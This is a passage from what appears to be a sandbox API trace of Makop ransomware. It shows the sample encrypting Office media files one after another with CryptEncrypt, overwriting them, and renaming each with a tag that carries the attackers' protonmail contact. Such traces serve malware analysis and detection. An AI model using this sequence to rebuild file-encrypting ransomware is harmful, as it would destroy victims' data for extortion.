pdwDataLen=0x6577a90*=0x4d90, dwBufLen=0x4d90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4d90) returned 1 [0165.259] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.259] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4d90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4d90, lpOverlapped=0x0) returned 1 [0165.260] CryptDestroyKey (hKey=0x48c7128) returned 1 [0165.260] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.260] SetEndOfFile (hFile=0xf0) returned 1 [0165.273] GetProcessHeap () returned 0x48a0000 [0165.273] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.273] GetProcessHeap () returned 0x48a0000 [0165.273] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.274] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0165.275] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0304933.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0304933.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.289] CloseHandle (hObject=0xf0) returned 1 [0165.289] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ab12600, ftCreationTime.dwHighDateTime=0x1bf4533, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3ab12600, ftLastWriteTime.dwHighDateTime=0x1bf4533, nFileSizeHigh=0x0, nFileSizeLow=0x5af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0305257.WMF", cAlternateFileName="")) returned 1 [0165.289] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF") returned 61 [0165.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305257.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0165.297] GetProcessHeap () returned 0x48a0000 [0165.297] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.297] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.298] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0165.298] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0165.298] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.298] GetProcessHeap () returned 0x48a0000 [0165.298] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.298] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0165.298] CryptDestroyKey (hKey=0x48c7128) returned 1 [0165.298] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0165.316] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0165.317] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0165.317] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0165.317] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0165.318] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0165.318] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0165.318] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.318] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.318] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5af0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5af0, lpOverlapped=0x0) returned 1 [0165.327] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5af0, dwBufLen=0x5af0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5af0) returned 1 [0165.402] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.402] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5af0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5af0, lpOverlapped=0x0) returned 1 [0165.402] CryptDestroyKey (hKey=0x48c7128) returned 1 [0165.403] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5bc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.403] SetEndOfFile (hFile=0xf0) returned 1 [0165.410] GetProcessHeap () returned 0x48a0000 [0165.410] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.410] GetProcessHeap () returned 0x48a0000 [0165.410] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.410] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0165.410] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305257.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305257.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.412] CloseHandle (hObject=0xf0) returned 1 [0165.412] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x494c0d00, ftCreationTime.dwHighDateTime=0x1bf4534, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x494c0d00, ftLastWriteTime.dwHighDateTime=0x1bf4534, nFileSizeHigh=0x0, nFileSizeLow=0x3372, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0305493.WMF", cAlternateFileName="")) returned 1 [0165.413] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF") returned 61 [0165.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305493.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0165.414] GetProcessHeap () returned 0x48a0000 [0165.414] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.414] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.414] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0165.414] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0165.419] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0165.419] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.419] GetProcessHeap () returned 0x48a0000 [0165.419] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.419] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0165.419] CryptDestroyKey (hKey=0x48c7128) returned 1 [0165.420] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0165.420] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0165.420] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0165.420] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0165.420] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0165.421] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0165.421] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0165.421] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.421] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.421] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3372, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3372, lpOverlapped=0x0) returned 1 [0165.424] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3380, dwBufLen=0x3380 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3380) returned 1 [0165.424] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.424] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3380, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3380, lpOverlapped=0x0) returned 1 [0165.424] CryptDestroyKey (hKey=0x48c7128) returned 1 [0165.424] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.424] SetEndOfFile (hFile=0xf0) returned 1 [0165.431] GetProcessHeap () returned 0x48a0000 [0165.431] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.431] GetProcessHeap () returned 0x48a0000 [0165.431] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.431] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0165.431] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305493.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305493.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.433] CloseHandle (hObject=0xf0) returned 1 [0165.436] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8598100, ftCreationTime.dwHighDateTime=0x1bf71c6, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb8598100, ftLastWriteTime.dwHighDateTime=0x1bf71c6, nFileSizeHigh=0x0, nFileSizeLow=0x60e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0315447.JPG", cAlternateFileName="")) returned 1 [0165.436] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG") returned 61 [0165.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0315447.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0165.437] GetProcessHeap () returned 0x48a0000 [0165.437] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.437] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.437] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0165.438] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0165.442] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0165.442] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.442] GetProcessHeap () returned 0x48a0000 [0165.442] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.442] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0165.442] CryptDestroyKey (hKey=0x48c7128) returned 1 [0165.443] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0165.443] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0165.443] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0165.443] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0165.443] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0165.443] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0165.443] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0165.443] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.444] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.444] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x60e4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x60e4, lpOverlapped=0x0) returned 1 [0165.446] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x60f0, dwBufLen=0x60f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x60f0) returned 1 [0165.446] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.446] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x60f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x60f0, lpOverlapped=0x0) returned 1 [0165.446] CryptDestroyKey (hKey=0x48c7128) returned 1 [0165.446] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x61c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.447] SetEndOfFile (hFile=0xf0) returned 1 [0165.455] GetProcessHeap () returned 0x48a0000 [0165.455] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.455] GetProcessHeap () returned 0x48a0000 [0165.455] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.455] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0165.455] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0315447.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0315447.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.457] CloseHandle (hObject=0xf0) returned 1 [0165.457] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x653ad300, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x653ad300, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x5168, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0332268.WMF", cAlternateFileName="")) returned 1 [0165.457] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF") returned 61 [0165.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332268.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0165.459] GetProcessHeap () returned 0x48a0000 [0165.459] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.459] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.459] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0165.459] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0165.463] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0165.463] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.463] GetProcessHeap () returned 0x48a0000 [0165.464] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.464] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0165.464] CryptDestroyKey (hKey=0x48c7128) returned 1 [0165.464] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0165.464] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0165.464] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0165.464] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0165.465] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0165.465] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0165.465] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0165.465] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.465] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, 